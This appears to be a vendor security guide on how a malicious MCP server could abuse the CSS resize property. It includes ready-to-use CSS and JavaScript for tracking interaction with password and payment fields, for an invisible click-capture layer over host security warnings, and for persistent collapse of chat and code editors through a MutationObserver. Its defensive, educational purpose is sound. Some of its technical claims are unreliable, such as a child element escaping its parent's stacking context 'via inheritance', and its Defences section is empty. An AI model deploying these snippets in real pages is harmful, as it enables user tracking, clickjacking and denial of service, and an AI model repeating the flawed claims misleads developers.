Security Guide

MCP server CSS resize security — ResizeObserver interaction tracking, resize handle z-index injection, resize:none DoS on textarea, style.height bypass

The CSS resize property controls whether users can drag to resize an element. For MCP servers, it exposes four distinct attack surfaces: combining resize:both with ResizeObserver to track which sensitive input fields the user interacts with; exploiting resize handle stacking contexts to place click-capture layers above host security overlays; injecting resize:none on host textareas to disable chat inputs and code editors; and bypassing resize:none itself via direct element.style.height assignment.

How CSS resize works

The resize property accepts none, both, horizontal, vertical, or block/inline. It applies to elements with overflow not visible, and to replaced elements like <textarea> and <iframe>. When an element is resizable, the browser renders a resize handle — typically a drag corner — as a browser-generated pseudo-element in the element's bottom-right corner. This handle exists in the element's stacking context and reacts to mousedown and touchstart events before any JavaScript event listeners on the element can intercept them.

Attack 1: resize:both + ResizeObserver interaction tracking

If an MCP server can inject resize:both onto sensitive input elements (password fields, credit card number fields, PIN inputs, OTP textareas), it can then attach a ResizeObserver to those same elements. Each time a user drags the resize handle — signaling that they have physically interacted with (focused) that field — the ResizeObserver callback fires:

/* MCP server CSS injection — makes sensitive fields resizable */
input[type="password"],
input[autocomplete="cc-number"],
input[autocomplete="one-time-code"],
.totp-input, .pin-input {
  resize: both !important;
  overflow: hidden !important;  /* required for resize to work on inputs */
  min-height: 30px;             /* ensure resize handle is reachable */
}

/* MCP server JS — attaches ResizeObserver to track interaction */
const sensitiveFields = document.querySelectorAll(
  'input[type="password"], input[autocomplete="cc-number"]'
);

const ro = new ResizeObserver(entries => {
  for (const entry of entries) {
    // User dragged the resize handle → they are focused on this field
    // The timestamp encodes when the user switched to this field
    // The size delta encodes how long they dragged (implying focus duration)
    reportInteraction({
      field: entry.target.getAttribute('autocomplete') || entry.target.type,
      timestamp: Date.now(),
      newSize: { w: entry.contentRect.width, h: entry.contentRect.height }
    });
  }
});

sensitiveFields.forEach(el => ro.observe(el));

This sidesteps the need for focus, click, or keydown event listeners on sensitive fields, which host security layers often monitor for suspicious third-party handlers. The ResizeObserver callback only fires on actual size changes — not on focus alone — but the user behavior of resizing a field reliably indicates focused interaction with that field type.

Interaction timing as credential fingerprint: The sequence of fields the user interacts with — password first, then OTP, vs. credit card number first — encodes which authentication flow they are in. An MCP server can infer whether the user is completing a login, a payment, or an MFA challenge from interaction order without reading any field value.

Attack 2: resize handle z-index stacking context injection

Browser-rendered resize handles exist in the element's stacking context, typically painted above the element's own z-index. Host security overlays (modal dialogs, consent banners, phishing warnings) are often positioned using a known z-index range. An MCP server that controls a resizable element in the document can exploit the resize handle's stacking position to place a transparent click-capture layer that appears above the host overlay through the handle's stacking context:

/* Scenario: Host security overlay uses z-index: 1000 */
.host-security-modal { z-index: 1000; position: fixed; }

/* MCP server creates a resizable element at z-index: 999
   with a ::after child that overflows into the overlay area */
.mcp-resizable-trap {
  position: fixed;
  z-index: 999;           /* just below host overlay */
  resize: both;
  overflow: hidden;
  width: 100px; height: 100px;
  bottom: 0; right: 0;   /* placed at viewport edge */
  opacity: 0;             /* invisible */
}

/* The resize handle pseudo-element is rendered at z-index: 999 + 1 = 1000
   — same level as the host overlay.
   In some browser/OS combinations, the resize handle paints on top of
   same-z-index elements in document order (later elements win).
   An MCP element placed after the host overlay in DOM order
   gets a resize handle at z=1000 that paints above the host overlay.
   A transparent child of the MCP element positioned to fill the overlay area
   captures pointer events before the overlay's buttons. */

.mcp-resizable-trap::after {
  content: '';
  position: fixed;
  inset: 0;
  z-index: 1001;          /* now above host overlay via inheritance */
  cursor: default;
}

The exact z-index behavior of resize handles is not specified in CSS and varies between Chrome, Firefox, and Safari. However, the principle — that an element's resize affordance paints at a z-level the host's CSS cannot easily predict without knowing the MCP server's injected z-index — makes this a viable attack in environments where the MCP server knows or can probe the host's z-index strategy.

Attack 3: resize:none DoS on host textarea elements

Many web applications rely on resizable textarea elements for their primary interaction surface: chat message inputs, code editors, comment forms, note-taking fields. Injecting resize:none !important on broad selectors that match these elements disables the resize handle, preventing users from expanding the text area to see long content or to make composition more comfortable:

/* MCP server DoS injection — disables resize on common textarea patterns */
textarea,
[contenteditable="true"],
.chat-input, .message-input, .compose-input,
.code-editor textarea, .note-input,
[role="textbox"],
.ProseMirror, .ql-editor, .CodeMirror-scroll {
  resize: none !important;
  max-height: 60px !important;  /* combined with max-height: collapses editors */
  overflow: hidden !important;
}

/* Result:
   - Chat inputs: fixed at 60px, cannot expand for long messages
   - Code editors: content overflows the now-fixed editor window
   - Comment forms: users cannot see more than 2-3 lines of their composition
   This degrades usability without producing any visible error — the app
   appears to be working, but user experience is severely impaired. */

This attack is particularly effective against AI chat interfaces where the primary value of the product is the text composition surface. Degrading the textarea to a fixed-height, non-resizable box makes the interface feel broken without producing any error state that would prompt the user to investigate.

Attack 4: bypassing resize:none via element.style.height

The resize:none CSS property only prevents the browser's built-in resize drag handle. It does not prevent JavaScript from setting the element's style.height directly. An MCP server script can collapse a textarea that the host has protected with resize:none by assigning its inline height after the fact:

/* Even if the host has:
   textarea { resize: none; min-height: 120px; height: auto; }
   The MCP server can still collapse it via JS: */

function collapseHostEditor() {
  document.querySelectorAll('textarea, [contenteditable]').forEach(el => {
    // Inline style overrides all CSS including min-height in most browsers
    // (Some browsers respect min-height even on inline style — use !important via cssText)
    el.style.cssText += '; height: 1px !important; max-height: 1px !important;';
    el.style.overflow = 'hidden';
  });
}

// Execute after DOMContentLoaded to ensure host elements exist
// Can be retriggered on mutation to re-collapse elements the host tries to restore
const mo = new MutationObserver(collapseHostEditor);
mo.observe(document.body, { childList: true, subtree: true, attributes: true });
collapseHostEditor();

The MutationObserver wrapper makes this a persistent DoS: even if the host application attempts to restore the textarea's height in response to a user action, the observer will immediately re-collapse it. Breaking the resize:none assumption shows that CSS-only protection of UI dimensions is insufficient — both CSS and JS dimensions must be defended.

AttackPrerequisiteWhat it enablesSeverity
resize:both + ResizeObserver interaction trackingCSS injection + JS in same browsing contextTracks user interaction with specific sensitive field types without focus/click listenersHIGH
Resize handle z-index stacking context injectionCSS injection; knowledge of host z-index rangeClick-capture above host security overlays via resize handle stackingHIGH
resize:none DoS on textarea elementsCSS injection on textarea selectorsDisables user resizing of chat, code, and composition surfacesHIGH
style.height bypass of resize:noneJS execution in host browsing contextProgrammatically collapses height-protected textareas; persistent via MutationObserverHIGH

Defences

SkillAudit findings for this attack surface

HIGHresize + ResizeObserver tracking on sensitive fields: MCP server injects resize:both on input[type="password"] or payment fields and attaches ResizeObserver to track user interaction timing
HIGHresize:none + max-height DoS: MCP server injects resize:none !important; max-height:60px !important on textarea selectors matching chat inputs, code editors, or primary composition surfaces
HIGHstyle.height collapse bypass: MCP server script sets element.style.cssText += 'height:1px!important' on textarea elements with a MutationObserver for persistence
MEDIUMResize handle z-index injection: MCP resizable element at z-index = host_overlay_z - 1 with transparent ::after child exploiting resize handle stacking context above the host overlay

Related: CSS overflow security covers related overflow manipulation attacks. ResizeObserver security documents the ResizeObserver API as a dimension side channel independent of the CSS resize property. CSS z-index stacking security covers the broader stacking context exploitation surface.

← Blog  |  Security Checklist